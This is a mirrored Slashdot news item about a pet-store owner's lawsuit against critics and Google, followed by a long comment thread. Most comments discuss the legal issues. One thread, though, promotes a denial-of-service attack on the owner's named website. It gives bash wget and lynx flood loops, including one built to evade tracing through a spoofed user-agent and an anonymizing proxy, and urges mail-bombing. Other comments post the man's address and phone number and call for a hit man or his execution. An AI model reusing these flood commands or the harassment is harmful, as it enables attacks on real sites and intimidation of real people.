Slashdot Mirror


Google sued as PetsWarehouse Lawsuit Continues.

Ikari Gendou writes "In April, Slashdot reported that Robert Novak, owner of Internet pet store Pets Warehouse filed a $15,000,000US lawsuit against several individuals who made comments about his company's poor service on an Internet mailing list. Also named in it and in the suit that followed were the owner of the mailing list, the owners of several informational sites about the lawsuit, the owners of other forums where the lawsuit was discussed, the attorney for the defense, and several sites that merely ran banner ads promoting the defense fund set up for the lawsuit. Some defendents settled out of fear, and were forced to pay cash, transfer their personal domain names to Novak, or even run banner ads for Petswarehouse on their websites. Now, the attorney for the defense has announced that in round three of the lawsuit, Google has been sued, as well as several other sites that have carried news about the lawsuit, such as search engine Judge-For-Yourself.com and pet stores DoctorDog.com and FerretStore.com. Robert Novak is representing himself in this lawsuit, and thus it is effectively costing him nothing to persue this campaign of harassment. He's already gotten several thousand dollars from settlements and cost the defendents considerably more than that in legal fees. More details should be posted soon here, including court documents that tell why Google was added to the suit."

942 comments

  1. Minor point by gerardrj · · Score: 1, Offtopic

    THe man can't be "defending himself" if he is bringing accusations. He is representing himself is more along the lines of what is happening here.

    --
    Article X: The powers not delegated... by the Constitution...are reserved...to the people
    1. Re:Minor point by roachmotel3 · · Score: 2, Informative
      Maybe I didn't read the article as carefully as you, but I saw:

      Robert Novak is representing himself in this lawsuit, and thus it is effectively costing him nothing to persue this campaign of harassment.

    2. Re:Minor point by ethereal · · Score: 3, Interesting

      I'm surprised that so many people are settling if he's representing himself. Usually that's a pretty good sign that, with just a little legal help yourself, you could take him on and, if the case is as open-and-shut as /. says, successfully defend yourself. It's one thing when the plaintiff has high-powered legal help; it's a lot less intimidating if the plaintiff is some guy with a grudge in his basement.

      Eventually somebody will put up a real legal fight against this guy, he'll make some dumb legal mistake, and he'll lose big. It's too bad that the little guys had to get thwacked before that could happen. They really should have banded together in defense - they could have hired a real lawyer and put him in his place pretty swiftly if they'd worked together. It sounds like he picked them off of the herd one-by-one, gradually building up steam, and now thinks that he's ready to take on the big boys.

      --

      Your right to not believe: Americans United for Separation of Church and

    3. Re:Minor point by uberdave · · Score: 2, Interesting

      You're assuming that he has little training in the law. For all we know he may have been a lawyer in a previous life.

    4. Re:Minor point by ShadeEagle · · Score: 1

      And you know what they say about a man who represents himself in court!

    5. Re:Minor point by gerardrj · · Score: 3, Informative

      It's now been changed, /.'s front page summary had stated that Novak was "defending himself". It is now changed to "representing himself". Once again /. plays revisionist news. :)

      --
      Article X: The powers not delegated... by the Constitution...are reserved...to the people
    6. Re:Minor point by tomhudson · · Score: 3, Insightful
      He's suing for $15,000,001.00. He's gotten a few grand (so he claims) from people so far. big deal.

      Let's look at what he's claiming:

      $1.00 in nominal settlement

      $10,000,000.00 in compensatory settlement

      $5,000,000.00 in other.

      So, maybe people are giving him a buck (the nominal settlement amount) and telling him to go away.

      Anyway, once a fucktard, always a fucktard.

    7. Re:Minor point by Anonymous Coward · · Score: 0

      He has a fool for a client?

    8. Re:Minor point by nuggz · · Score: 2

      So, even lawyers get another lawyer to work for them when it involves them.
      If you're sitting at either end of a $15million dollar suit that is YOUR money, you're not going to be cool and objective.

    9. Re:Minor point by Anonymous Coward · · Score: 0

      Wow. You have no knowledge of law and you didn't even read the article. Nice +1 post. Look forwarding to seeing your Karma collapse.

    10. Re:Minor point by tomhudson · · Score: 2
      1. Read the filing, so screw you on that one.

      2. Been in court lots of times (from my old protest days, from ex wives filing bogus criminal charges, etc) win every time, even against experienced prosecutors, so screw you on my knowedge of the law as well.

      3.No wonder you post as an A.C.

    11. Re:Minor point by Latent+IT · · Score: 5, Interesting

      Pardon me for replying to you, but I want this to be near the top, where everyone, especially ROBERT NOVAK, head meatball in charge.

      Want to really make him hurt? Just point out that his store really is horrible. Service? Sucks. Price? Sucks! There are much better stores that have better stock, lower prices, and excellent customer service. Two such examples are:

      That Pet Place

      Drs. Foster & Smith

      (Note: I am not affiliated in ANY way with either of those stores mentioned. They had nothing to do with being written here. I put them here. They're not the droids you're looking for. I AM. All of the above is my very own personal opinion, and I stand by it.)

      So come get me, big boy! Sue my frigging ass off for enjoying my first ammendment rights. I even live in New York. And I'm bored. It costs me just as much nothing to be sued by you as it does for you to sue me. Let's just frigging GO. =)

    12. Re:Minor point by Anonymous Coward · · Score: 0

      Or maybe you can't read.

    13. Re:Minor point by Tantrum420 · · Score: 1
      You're assuming that he has little training in the law. For all we know he may have been a lawyer in a previous life.

      A lawyer that defends himself has a fool for a client.

      T

    14. Re:Minor point by Anonymous Coward · · Score: 0

      I believe it has nothing to do with slashdot but rather that you made a wrong comment by not reading the article correctly.

    15. Re:Minor point by Anonymous Coward · · Score: 0

      Whoever modded this offtopic is a moron.

    16. Re:Minor point by Codifex+Maximus · · Score: 2

      This guy obviously needs to be modded up.

      --
      Codifex Maximus ~ In search of... a shorter sig.
    17. Re:Minor point by Latent+IT · · Score: 3, Interesting

      It's a shame I left out the words "can see this" from the first line, even though I got all the HREF's right, and even closed my /B's and /I's... I'd sound like less of a tard if that part was readable... ;p

      Of course, I'm never going to get sued if he knows I want him to sue me. Hmmmm....

      Lawsuits scare me to death. I cave in at the slightest legal threat, or even peer pressure. I have a room in the back of my house where I store loose shopping bags full of cash, and I would never speak to a good lawyer. I even paid a spammer for a penis enlarger.

      Oh hell, that's too easy to figure out. He might... crack my code. Perhaps I could then sue under the DMCA!

      Maybe I don't understand this whole thing fully. I read The Defense Fund and it seems like Dan Resler, the poor bastard that accidentally started this whole thing, actually ended up paying $4,150 to Novak. Of course, he was sued for $15,000,000, so percentage-wise he got off pretty well, but $4,150 isn't really pocket change either. And if you read Dan's origional post, it really just seems like he got some bad plants, overcharged for shipping, and customer service told him to go take a flying leap. You can read his origional post here. I'll even quote the relevant bits:

      My 6th call was last week, and when they realized I was calling about a plant order they proclaimed "They will be shipped on Monday". Click.

      On my order confirmation I was quoted a shipping price of $7.50. Nice ... it was one of the selling points for me. Then the order arrived complete with an invoice stating that shipping was $18.50! When I called them today to straighten this out, they informed me that the original quote was wrong and that I was stuck with the $18.50.

      Quoted without permission, of course. Christ, maybe Dan will sue me now. I argue fair use in advance. (Dan, don't! Slashdot is on your side!)

      I mean, how in the world can you sue anyone over that? You want a bad analogy? I like Coke. (I actually kinda like Pepsi... so... frig.) Okay, I like Diet Coke. I *hate* diet Pepsi. I don't know why. I can say this:

      Diet Pepsi tastes bad. I opened a can, tasted it, and said, "Yeeeech!"

      Thank God for the Constitution. Thank God for the freedom of speech. Despite all the bad press, America is a pretty darn nice place to live.

    18. Re:Minor point by BitterOak · · Score: 2
      It's now been changed, /.'s front page summary had stated that Novak was "defending himself". It is now changed to "representing himself". Once again /. plays revisionist news. :)

      Well, he may actually be defending himself soon, against a barrage of countersuits!

      --
      If I can be modded down for being a troll, can I be modded up for being an orc, or a balrog?
    19. Re:Minor point by nege · · Score: 1

      That was a GREAT post. If I had points i'd mod you up. But you are already at 5...

    20. Re:Minor point by Sj0 · · Score: 3, Insightful

      Can we get together and beat him down with empty cans of Sapporo Draft(with the most indestructable cans I've ever seen containing any substance less potent than anthrax)?

      This guy (the guy who is suing everyone) is an asshole. The courts should really put a stop to these SLAPP lawsuits; I propose legislation against such truly evil lawsuits. I'm thinking that we tar and feather anyone who tries this, then hang them from their toenails for a couple years off of the edge of the Grand Canyon...

      I'm sure I'm stomping on some inhumans' right to be facist slime, but it's worth it.

      --
      It's been a long time.
    21. Re:Minor point by Anonymous Coward · · Score: 0

      Previous life? Jesus you /. people are stupid. He is a lawyer. Now. It's what he does.

    22. Re:Minor point by alexo · · Score: 1
      Want to really make him hurt? Just point out that his store really is horrible. Service? Sucks. Price? Sucks! There are much better stores that have better stock, lower prices, and excellent customer service.
      You could not be more wrong.

      It seems to me that Novak does not care about his pet store business, he wants to make money from lawsuits, preferrably suing (and then "settling") with people who cannot afford the legal battles.

      Novak has a decent understanding of the legal system (he admits that this is his hobby) and a lot of free time on his hands.

      So how do you fight a person who abuses the legal system in order to extort people? One would suggest letting him feel how it feels to be on the receiving end... However, another slashdotter mentioned that Novak already filed for 3 bankruptcies (the 1993 one listed over $500,000 in debts).

      Please check out Robert Novak v. APD List Members
    23. Re:Minor point by Latent+IT · · Score: 2

      You could not be more wrong.

      That's a pretty strong thing to say since all you can back it up with is your feeling that he doesn't care about his business. I happen to completely disagree with you. I guess that means that you could not be more wrong.

      Anyway, that's nonsense. It doesn't matter if he cares about his business or not. If people don't buy from his store, his store goes out of business. If his store goes out of business, he runs out of things to sue about once his current docket of cases clears up. And people will have no reason to badmouth a store that no longer exists, so he won't even have incidental fodder. It's that simple.

  2. Asisine by The_Rippa · · Score: 0

    This is crazy...someone should sue him for wasting taxpayer money in court.

  3. WTF? by Knightfall · · Score: 1, Funny


    Hey, somebody, sometime, somewhere, said something I think that just maybe might have been true but I think that I maybe didn't like it. F^CK IT, I'm suing everybody.

    --


    Knightfall
    1. Re:WTF? by sporty · · Score: 3, Funny

      Just sue your slashdot "freaks". http://yro.slashdot.org/~Knightfall/freaks :)

      --

      -
      ping -f 255.255.255.255 # if only

    2. Re:WTF? by haa...jesus+christ · · Score: 1

      sam?

    3. Re:WTF? by Anonymous Coward · · Score: 0

      Fuck that mofo... If his site and his service sucks it's a free country and we should all be able to comment on that... What? Now they'll ban us from talking negatively about something... I hope Google countersues his ass for making them waste time and make him turn his website to a museum so we can all remember the time when a fool tried to stop freedom of speech!

  4. One Word... by Loki_1929 · · Score: 2, Insightful

    Countersue

    --
    -- "Government is the great fiction through which everybody endeavors to live at the expense of everybody else."
    1. Re:One Word... by verbatim · · Score: 5, Funny

      Sounds like an interesting Half-Life mod..

      OMG, THIS d00d IS WALLHAX0R1NG!!!!

      --
      Price, Quality, Time. Pick none. What, you thought you had a choice?
    2. Re:One Word... by Anonymous Coward · · Score: 0

      What this country needs is a Tort Star Chamber with a Vigilante Squad. They'd analyze these harassment lawsuit cases and select the real dickheads. Then they'd send out the Squad to disappear the plaintiff in the suit. Problem solved.

    3. Re:One Word... by DecimalThree · · Score: 2

      No need to. The bastard has been slashdotted.

    4. Re:One Word... by Alexis+Morissette · · Score: 2, Funny

      I hope Google wins a countersuit and Novak spends the rest of his natural life paying off his debt by cleaning up after their pigeons."

      --
      This is a special excite .sig
      This
    5. Re:One Word... by JimFromJersey · · Score: 1

      > Squad to disappear the plaintiff

      nah, make it a very public and very messy execution.

      --
      between the greater and lesser infinities sleep the dreams undreamt
    6. Re:One Word... by Anonymous Coward · · Score: 0

      Sudden and mysterious "retirements" are much more effective.

      I used to believe in due process, but there's just too many f***heads on the planet now. There's six billion marching morons in the world now. No one will miss a few carefully targeted to bring maximum relif to cultural sanity. God bless the bullet, I say.

  5. His site hasn't been slashdotted yet! by techstar25 · · Score: 2, Offtopic

    Come on guys let's get with it here.

    1. Re:His site hasn't been slashdotted yet! by ralphie98 · · Score: 2

      it's loading sooo... s...l...o...wwwww almost there

      --
      I am a nobody. Since nobody is perfect, that means that I am perfect.
    2. Re:His site hasn't been slashdotted yet! by British · · Score: 5, Funny

      Hey, I really would not suggest slashdot linking to Novak's website. As you know, the "slashdot effect" will bring his site to a crawl, losing potential customers. He'll also have a hefty bandwidth bill from his ISP.

      So, whatever you do, try not to visit his website. Don't hit Shift-reload over and over again. Don't ask all your friends to visit it and hit shift-reload over and over again. :)

    3. Re:His site hasn't been slashdotted yet! by wirelessbuzzers · · Score: 2, Funny

      So, in other words, you are suggesting that we DDoS his site because he is an asshole? Great idea! We should do that more often! We can set up a Slashdot section where you post stuff about people you don't like, and we slashdot their servers! Vigilante justice at its finest!

      --
      I hereby place the above post in the public domain.
    4. Re:His site hasn't been slashdotted yet! by TomHoward · · Score: 1

      Don't forget, you want to make sure you don't email him either. The volume could max out his mail server, which we all don't want to happen.

      --
      Do you really think I'm go to put something novel here?
    5. Re:His site hasn't been slashdotted yet! by Anonymous Coward · · Score: 0

      Please, please please, refrain from emailing him your porn jokes, your 5MB core files or random content from your trash can "requesting for information", and certainely don't enrol him into some gay mailing-lists.

    6. Re:His site hasn't been slashdotted yet! by TomHoward · · Score: 2, Funny

      Also, make sure you don't run

      while true; do wget http://www.petswarehouse.com/; done

      --
      Do you really think I'm go to put something novel here?
    7. Re:His site hasn't been slashdotted yet! by _xeno_ · · Score: 4, Funny
      And whatever you do, do not accidently type in:

      until false; do lynx -source http://oh, I don't know/ > /dev/null ; sleep $(( RANDOM / 1024 + 1 )); done

      and then accidently hit enter in a Bash shell...

      --
      You are in a maze of twisty little relative jumps, all alike.
    8. Re:His site hasn't been slashdotted yet! by jo.cool · · Score: 2

      I wouldn't do that, he'll sue slashdot too!

    9. Re:His site hasn't been slashdotted yet! by AMNESIACX · · Score: 0

      Here is the PETSWAREHOUSE DISCUSSION FORUM . I wonder if it's moderated. Maybe a few comments about how fat his arse is might be in order.

      --
      "It's not just what you say, no it's mostly how you feel it." - Tim Buckley.
    10. Re:His site hasn't been slashdotted yet! by Anonymous Coward · · Score: 0

      I've tried loading every single link on his site simultaneously, and none of them seem to be working very well. Maybe his site is broken. I'll try getting them again. If that doesn't work, I'll have to keep trying until it speeds up again.

    11. Re:His site hasn't been slashdotted yet! by Anonymous Coward · · Score: 0

      If you really want to get his attention, phone him or write a letter stating your opinions.
      But remember to read the lawsuite first.
      He's claiming damages based on the total number of internet users viewing the original "defamatory"/"libelous" statements!

      ROBERT NOVAK
      1550 SUNRISE HIGHWAY
      COPIAGUE, NEW YORK 11726

      1-631-789-5400

    12. Re:His site hasn't been slashdotted yet! by duck_prime · · Score: 1
      So, whatever you do, try not to visit his website. Don't hit Shift-reload over and over again.
      Note to Novak: Please don't put ads up on your site. I'd hate for you to get paid every time a vengeful slashkid views your web page.
    13. Re:His site hasn't been slashdotted yet! by Anonymous Coward · · Score: 0

      In other news, BayTSP.com is kinda speedy today, dontcha think?

    14. Re:His site hasn't been slashdotted yet! by trumaster · · Score: 1

      How come I can't access his site. Is the service down or somethin'?

    15. Re:His site hasn't been slashdotted yet! by ncc74656 · · Score: 3, Informative
      Note to Novak: Please don't put ads up on your site. I'd hate for you to get paid every time a vengeful slashkid views your web page.

      Using an ad-filtering proxy will keep him from deriving that benefit from a slashdotting. Running something like while true; do lynx -dump http://www.petswarehouse.com >/dev/null; done will also result in no ad views.

      --
      20 January 2017: the End of an Error.
    16. Re:His site hasn't been slashdotted yet! by bleckywelcky · · Score: 4, Funny


      lol! It is horribly slow, took about 5 minutes to come up for me. Although, I just left it in the back and kept reading other stuff, checking it every minute or two.

      Once you are able to get the main page to load though, scroll down a tad to their message board section, it's hilarious:

      New Forum Messages--Join us

      Welcome Novak is a moron
      Welcome www.petwarehouse.com, not www.petsw...
      Welcome Robert Novak sues again!!!
      Welcome Robert Novak ate my baby!
      Just Conversation seeing eye dogs
      Dog Behavior What food is Best
      Dog Behavior Wellness Food
      Marine Saltwater fish adding calcium

    17. Re:His site hasn't been slashdotted yet! by IamTheRealMike · · Score: 2
      Hey, I really would not suggest slashdot linking to Novak's website. As you know, the "slashdot effect" will bring his site to a crawl, losing potential customers. He'll also have a hefty bandwidth bill from his ISP.

      Wow! It worked! I'm just getting connection refused. Heheh, this is fun, time to go set a shell script hammering his page for a few hours.

    18. Re:His site hasn't been slashdotted yet! by bleckywelcky · · Score: 2



      And BOOM! I count 347 comments at crash time. I can no longer load it. Anyone else?

    19. Re:His site hasn't been slashdotted yet! by f97tosc · · Score: 1

      Are there any paid links _to_ his site? I mean it would be very unfortunate if he had to pay a couple dime per visit of a million ./ers comming in through his paid advertisment...

      Tor

    20. Re:His site hasn't been slashdotted yet! by MrResistor · · Score: 3, Informative

      Well, as of 10:21am (Pacific Whatever Time) the server could no longer be found by my browser, despite being able to find it repeatedly since 10:07am, so it appears that your warnings have been in vain.

      It's a shame really, I was kind of curious about that hamster thing...

      --
      Under capitalism man exploits man. Under communism it's the other way around.
    21. Re:His site hasn't been slashdotted yet! by Anonymous Coward · · Score: 0

      /.ed already. what irony.

    22. Re:His site hasn't been slashdotted yet! by Dalcius · · Score: 5, Funny

      Don't forget kids! You shouldn't redirect your 5 spa^H^H^Hhotmail accounts to his email address, either! =)

      --
      ~Dalcius
      Rome wasn't burnt in a day.
    23. Re:His site hasn't been slashdotted yet! by IamTheRealMike · · Score: 3, Interesting
      And whatever you do, do not accidently type in:

      until false; do lynx -source http://oh, I don't know/ > /dev/null ; sleep $(( RANDOM / 1024 + 1 )); done

      and then accidently hit enter in a Bash shell...

      You do realize that this is probably classed as terrorism right? But no matter, I'm doing it, because people just hitting shift-reload get bored, whereas scripts can just be forked into the background. Right now, I should think Novak is a little pissed. If a few thousand people just ran that script when they got up in the morning, it would really start to cause him grief. Being vigilantism it's absolutely not legal or even morally correct - but it is quite good fun ;)

    24. Re:His site hasn't been slashdotted yet! by Anonymous Coward · · Score: 0

      Or you could just use Opera and set it to reload the page (with zero cache) every 5 seconds. =)

    25. Re:His site hasn't been slashdotted yet! by Cinnibar+CP · · Score: 2

      Hey, I really would not suggest slashdot linking to Novak's website. As you know, the "slashdot effect" will bring his site to a crawl, losing potential customers. He'll also have a hefty bandwidth bill from his ISP.

      And if he has any banner adverts where he's getting paid per hit or exposure, he'll be making money through the roof. I can't get to his site (slashdotted, of course), but I assume we might be doing as much harm as good attempting to visit there.

    26. Re:His site hasn't been slashdotted yet! by zoombat · · Score: 2

      Who IS his ISP? Maybe we can shut the bozo down if he is violating his AUP...

    27. Re:His site hasn't been slashdotted yet! by Anonymous Coward · · Score: 0

      Or Galeon, which has a setting to keep reloading a particular page as often as you tell it to. (rather than doing annoying other crap in the deal)

    28. Re:His site hasn't been slashdotted yet! by Anonymous Coward · · Score: 0
      And whatever you do, do not accidently type in:

      until false; do lynx -source http://oh, I don't know/ > /dev/null ; sleep $(( RANDOM / 1024 + 1 ));
      done

      and then accidently hit enter in a Bash shell...

      Of course for a little deniability, route that url thru anonymizer or some other such.

    29. Re:His site hasn't been slashdotted yet! by Bluesee · · Score: 2

      God love you guys. This reminds me of older days when I first joined ./ and our eyes were still sparkling with the prospect of what the Internet Could Become, before the dot-coms promised to make all the script kiddies rich and then they pulled the rug out on all of you.

      This is by no means terrorism, this is activism, and anyone with a brain would recognize it for what it is. Okay, it can be construed as terrorism because it does share one feature with terrorism: it is an example of a little guy, or a bunch of little guys, fighting back against a big guy when they feel they have no other avenue of recourse. That is, since the law does not work against an egregious transgressor of all principles American, we can exercise our rights to express a Valid Concern through the time-honored tradition of Civil Disobedience.

      Yes, God Bless You, you little slashdotters. God Bless You All!

      (please don't mod me up, by the way, it would look like all-too-obvious sucking up: but my sentiments are genuine)

      --
      SDMI: Finally! Music that won't rip or burn! Brought to you by the fine folks at RIAA.
    30. Re:His site hasn't been slashdotted yet! by Anonymous Coward · · Score: 0

      Me either.
      But I vote we keep it up for a while, hell maybe I'll add that command to my bash_profile...what's a few bash-commands costing us in comparison to losing Google's incredible services? (I went with the "while true; do lynx -dump http://www.petswarehouse.com >/dev/null; done" option.)

    31. Re:His site hasn't been slashdotted yet! by analog_line · · Score: 2

      As it appears that his bandwidth has been so demolished that traffic is being denied or just bouncing off the pained gateway router that can't do any more, I don't think any hit counter software is getting anything close to the actual number of hits the website got before it was taken down.

      And in any case, while he MAY be making money, hardly any company can survive off ads alone. Any ad money he may get from page views is miniscule compared to what I imagine he expects to get from sales.

    32. Re:His site hasn't been slashdotted yet! by TomServo · · Score: 1

      AFAIK, almost nobody pays much, if anything, for just ad banner views. Most of them will only pay out if someone actually clicks through on an ad banner, and even then, some of them will only pay anything if someone clicks through on the banner and actually buys something.

      Shouldn't be a big issue...

    33. Re:His site hasn't been slashdotted yet! by Anonymous Coward · · Score: 0

      that's odd. i always considered terrorism as blowing up civilians riding a bus on their way to work.

    34. Re:His site hasn't been slashdotted yet! by Xeriar · · Score: 2, Insightful

      Who IS his ISP? Maybe we can shut the bozo down if he is violating his AUP...

      Search results for: 64.80.161.170

      PaeTec Communications, Inc. PAETECCOMM (NET-64-80-0-0-1)
      64.80.0.0 - 64.80.255.255
      Petnet PAET-NY-PETNE-1 (NET-64-80-161-128-1)
      64.80.161.128 - 64.80.161.255

    35. Re:His site hasn't been slashdotted yet! by _xeno_ · · Score: 2
      My theory is that if anyone types the above in, they'll just see:

      >

      Thanks to my unclosed single-quote courtesy of "oh, I don't know" in my URL. So, see, you shouldn't accidently type that it because you'll then have to know to type in the closing ' or hit CTRL-D to "end" the file, otherwise Bash will keep on taking in your input until you finally hit a closing ' or just give up in frustration, possibly causing unwanted results...

      :)

      --
      You are in a maze of twisty little relative jumps, all alike.
    36. Re:His site hasn't been slashdotted yet! by Daetrin · · Score: 2

      Good thing you're advising people not to do this, cause you _know_ that he's going to end up suing Slashdot and everyone who said that his site should get slashdotted :)

      --
      This Space Intentionally Left Blank
    37. Re:His site hasn't been slashdotted yet! by Anonymous Coward · · Score: 0

      hotmail doesn't offer forwarding :(

    38. Re:His site hasn't been slashdotted yet! by Dalcius · · Score: 2

      Doh! Guess I'm out of date. =(

      I believe they used to? I thought I remembered forwarding my account to another address a long time ago. Or maybe I'm thinking about setting the reply-to or something.

      Hmph.

      --
      ~Dalcius
      Rome wasn't burnt in a day.
    39. Re:His site hasn't been slashdotted yet! by digitalsushi · · Score: 3, Funny
      You do realize that this is probably classed as terrorism right?

      Nah, waiting $RANDOM seconds between hits leaves us with a non organized attack- what if I use one of those glass birds full of Freon 11 that keep bobbing up and down for the water to click my reload button- are they going to lock me up, the glass bird, or the keyboard for "being in the wrong place at the wrong time?" Cause I can say that I don't know the bird, but all he's got is the right to remain silent.


      A Freedom Fighter would do this in bash:

      wh1le:;do wget http://some.site>/dev/null;d0ne

      if the web server is worth its salt, it'll stop listening to you after like 4 seconds.

      --
      slashdot: where everyone yells sarcastic metaphors to themselves to understand the issue
    40. Re:His site hasn't been slashdotted yet! by Theom · · Score: 0

      That isn't actually a DoS attack, it's just regular consumers that won't to access the information... every 5 seconds...

      --

      mp3: l33t term for empty.
    41. Re:His site hasn't been slashdotted yet! by 3th3rn3t · · Score: 1

      hmmm, we should be carefull...
      he is so desperate he could sue every and each on of us that replied to this thread.
      or even /. itself.
      bleh.

    42. Re:His site hasn't been slashdotted yet! by 0x0d0a · · Score: 2

      Normally, I'd see eye-to-eye with you on this, but this guy is going after Internet culture -- mailing lists, websites, and the like. And Google, dammit. Google is good. If he catches a bit of a slap from the rest of the Internet...well, he certainly had it coming.

    43. Re:His site hasn't been slashdotted yet! by Anonymous Coward · · Score: 0

      And if you don't want to get traced:

      while true; dowget -p -np --user-agent="Mozilla/4.7E [en] (X11; I; SunOS 5.7 sun4u)" --proxy=on --execute="http_proxy=" --mirror --delete-after http://www.petswarehouse.com/;done

      and put in "robots=off" in your ~/.wgetrc
      just to be sure :)

    44. Re:His site hasn't been slashdotted yet! by Anonymous Coward · · Score: 0

      (oops.. make sure there is a space between "do" and "wget"!!)

      once agian, if you don't want to get traced while destroying this loser's site:

      while true; do wget -p -np --user-agent="Mozilla/4.7E [en] (X11; I; SunOS 5.7 sun4u)" --proxy=on --execute="http_proxy=[some high anonymity proxy:port]" --mirror --delete-after http://www.petswarehouse.com/;done

      and put in "robots=off" in your ~/.wgetrc
      just to be sure :)

    45. Re:His site hasn't been slashdotted yet! by wirelessbuzzers · · Score: 1

      Normally, I'd see eye-to-eye with you on this, but this guy is going after Internet culture -- mailing lists, websites, and the like. And Google, dammit. Google is good. If he catches a bit of a slap from the rest of the Internet...well, he certainly had it coming. So he's an asshole. And he has it coming. And he's hurting people we like. That's exactly what the MPAA and RIAA think of about half of all Americans. That doesn't mean they should DOS us; for the same reason, we shouldn't DOS this asshole. Don't worry, he'll get his when Google countersues.

      --
      I hereby place the above post in the public domain.
  6. Just make him look like a dumbass by Anonymous Coward · · Score: 1, Funny

    The more people he sues, the bigger a joke he'll become in the courts. Next, I hope he sues God for allowing these other humans to even exist on Earth.

    1. Re:Just make him look like a dumbass by hyacinthus · · Score: 5, Insightful

      I don't think he cares whether he looks like a fool or not. Remember that "Seinfeld" episode where George gets a job by pretending that he was disabled, and then after he's found out, continues showing up at the job because his employers are contractually bound to keep him on for a full year? His boss hates George and makes his life miserable, his coworkers all tell him to drop dead in the hallways, but George doesn't care--his paycheck is worth more to him than his dignity or his reputation, and as long as he gets it, George thinks that he's won.

      Same with his fellow Novak, I guess. He must know that the lawsuits are frivolous and that his name is mud among everyone who's ever heard of him. No matter--he keeps suing and keeps collecting from people who can't afford a protracted legal action, and so by his lights, he's won.

      hyacinthus.

    2. Re:Just make him look like a dumbass by Anonymous Coward · · Score: 0

      TV shows are not reality.

      How much money does this Novak guy have? Is he as big as say... the Scientologists? They're big enough to scare lots of people out of court, but I doubt this guy is big enough to scare a Google out of court.

    3. Re:Just make him look like a dumbass by Anonymous Coward · · Score: 1, Funny

      google is owned by scientoligists?

    4. Re:Just make him look like a dumbass by Anonymous Coward · · Score: 0

      Read much?

      Novak is possibly attempting to scare people out of court and into settlement. STOP.

      Scientologists are rich enough to scare people out of court and into settlement. STOP.

      One of the groups Novak is suing is Google. STOP.

      Is Novak rich enough to scare Google out of court? STOP.

      Hope this helps.

    5. Re:Just make him look like a dumbass by Anonymous Coward · · Score: 0

      Let me guess: you saw "dumbass" in the title and thought someone was talking to you.

    6. Re:Just make him look like a dumbass by Anonymous Coward · · Score: 0

      so scientoligists own google or not?

    7. Re:Just make him look like a dumbass by Codifex+Maximus · · Score: 2

      Maybe this story will finally get the laws regarding lawsuits fixed?

      i.e. Loser pays the bill... etc...

      --
      Codifex Maximus ~ In search of... a shorter sig.
    8. Re:Just make him look like a dumbass by Anonymous Coward · · Score: 0

      No, dear, they don't.

    9. Re:Just make him look like a dumbass by azblazer · · Score: 1

      I wonder if we can get Novak to settle for a lifetime supply of free coffee like Kramer did in a different episode?

  7. Sooner or later.. by Anonymous Coward · · Score: 1, Flamebait

    Somebody may figure its cheaper and easier to just hire a hit man to take the sleazeball out.

    Doesn't sound like anybody would weep over it.

    1. Re:Sooner or later.. by Anonymous Coward · · Score: 0

      I'll chip in a couple bucks for that. Hell I'll do it myself if I ever meet him.

    2. Re:Sooner or later.. by Anonymous Coward · · Score: 0

      'specially on the central part of LI. Just drive down Hwy 25; find a nice auto-repair place that's fronting for a parts stripping operation, and ask for Vinny.

    3. Re:Sooner or later.. by Anonymous Coward · · Score: 0
      Somebody may figure its cheaper and easier to just hire a hit man to take the sleazeball out.


      Shit, pay my expenses (travel, room and board, supplies, etc), and I'd be willing to beat him to death with my bare hands. That's gotta be cheaper than a lawyer!

    4. Re:Sooner or later.. by Anonymous Coward · · Score: 0

      Oooh, a bitch-slapping by a 98 lb. geek.
      HIT'EM WITH YOUR POCKET PROTECTOR!

      Can we ship you air mail? At 98 lbs. it's cheaper than a plane ticket!

    5. Re:Sooner or later.. by Anonymous Coward · · Score: 0

      The first thing i though of doing when i saw these news was to take the guy out. I kid you not.

    6. Re:Sooner or later.. by Anonymous Coward · · Score: 0

      Well, but ...
      a) making his life miserable by crashing his site over and over and over is MUCH more fun
      b) they can't prosecute ALL of us, while they CAN prosecute (and persecute) the single person who casts the killing blow.

    7. Re:Sooner or later.. by Dimensio · · Score: 2

      I was thinking that myself. He is putting himself in a potentially dangerous situation by pissing off so many people. Then again, Rober Novak is obviously such an arrogant, obnoxious prick that he just doesn't consider it.

    8. Re:Sooner or later.. by Anonymous Coward · · Score: 0

      No shit. This shouldn't be modded flamebait since it's really true. More businesses than he can imagine have their hand in ... shady business. Fuck with the wrong people, get fucked up.

    9. Re:Sooner or later.. by Anonymous Coward · · Score: 0

      I dunno, do you think they'd ever get a jury to convict once they showed what a slime bucket he was?

      Justifiable homicide.

    10. Re:Sooner or later.. by Hott+of+the+World · · Score: 1

      I'd start a collection. Then put the site link on google! Heck, I'd even opt for a commercial!

      --
      | - | - |
  8. Careful by xagon7 · · Score: 2, Funny

    Be careful.. .or they'll wind up suing /.

    Awww......forget it......fuck em.

    1. Re:Careful by Nutcase · · Score: 3, Funny

      Oh dear god I hope that he sues /.

      Somehow I don't think Pets Warehouse has the same clout as Microsoft or Scientology.. I expect Mr. Taco would rally the troops and fuck Mr. Novack up very severely.

      Of course, I think google may do the same. ;)

      Hey google.. wanna own a shitty pet store? (oh god, is he going to sue /me/ now?)

    2. Re:Careful by Target+Drone · · Score: 3, Funny
      Be careful.. .or they'll wind up suing /.

      Ya be careful people! Just linking to google could get /. into a whole lot of trouble.

    3. Re:Careful by bpb213 · · Score: 1

      "Of course, I think google may do the same. ;)"

      Of course, id prefer google to keep up a kickass search engine, not waste its money arguing against idiots like this that represent themselves so they can sue for free.

      The fact that this guy has no case is irrelevant. its still going to take a shitload of money and time to prove that in court.

      --

      This .sig looking for creative and witty saying.
    4. Re:Careful by Mr.+Slippery · · Score: 1
      Of course, id prefer google to keep up a kickass search engine, not waste its money arguing against idiots like this that represent themselves so they can sue for free

      If they don't stand up to fuckheads like this, they can't keep up a kickass search engine, because they'll have to filter everything that some fuckhead might sue over.

      --
      Tom Swiss | the infamous tms | my blog
      You cannot wash away blood with blood
    5. Re:Careful by MrResistor · · Score: 2

      Of course, id prefer google to keep up a kickass search engine, not waste its money arguing against idiots like this that represent themselves so they can sue for free.

      It's only free until he loses the counter-suit and has to pay all the defendants legal costs.

      I don't know that there is a counter-suit, but if I were a named defendant there certainly would be.

      The issue of why Google needs to waste money fighting this guy has been dealt with elsewhere.

      --
      Under capitalism man exploits man. Under communism it's the other way around.
  9. Next target... by marhar · · Score: 1

    /. and Anonymous Cowards #1-#50,000!

  10. Will somebody please think of the children? by russianspy · · Score: 1


    Is it me, or is being a lawyer far more profitable than honest, hard work? I don't know about you, but I think there are a lot of problems here.

  11. bad page! bad page!! by Allaria · · Score: 4, Funny

    The blinking links alone tell me that he's a complete idiot.

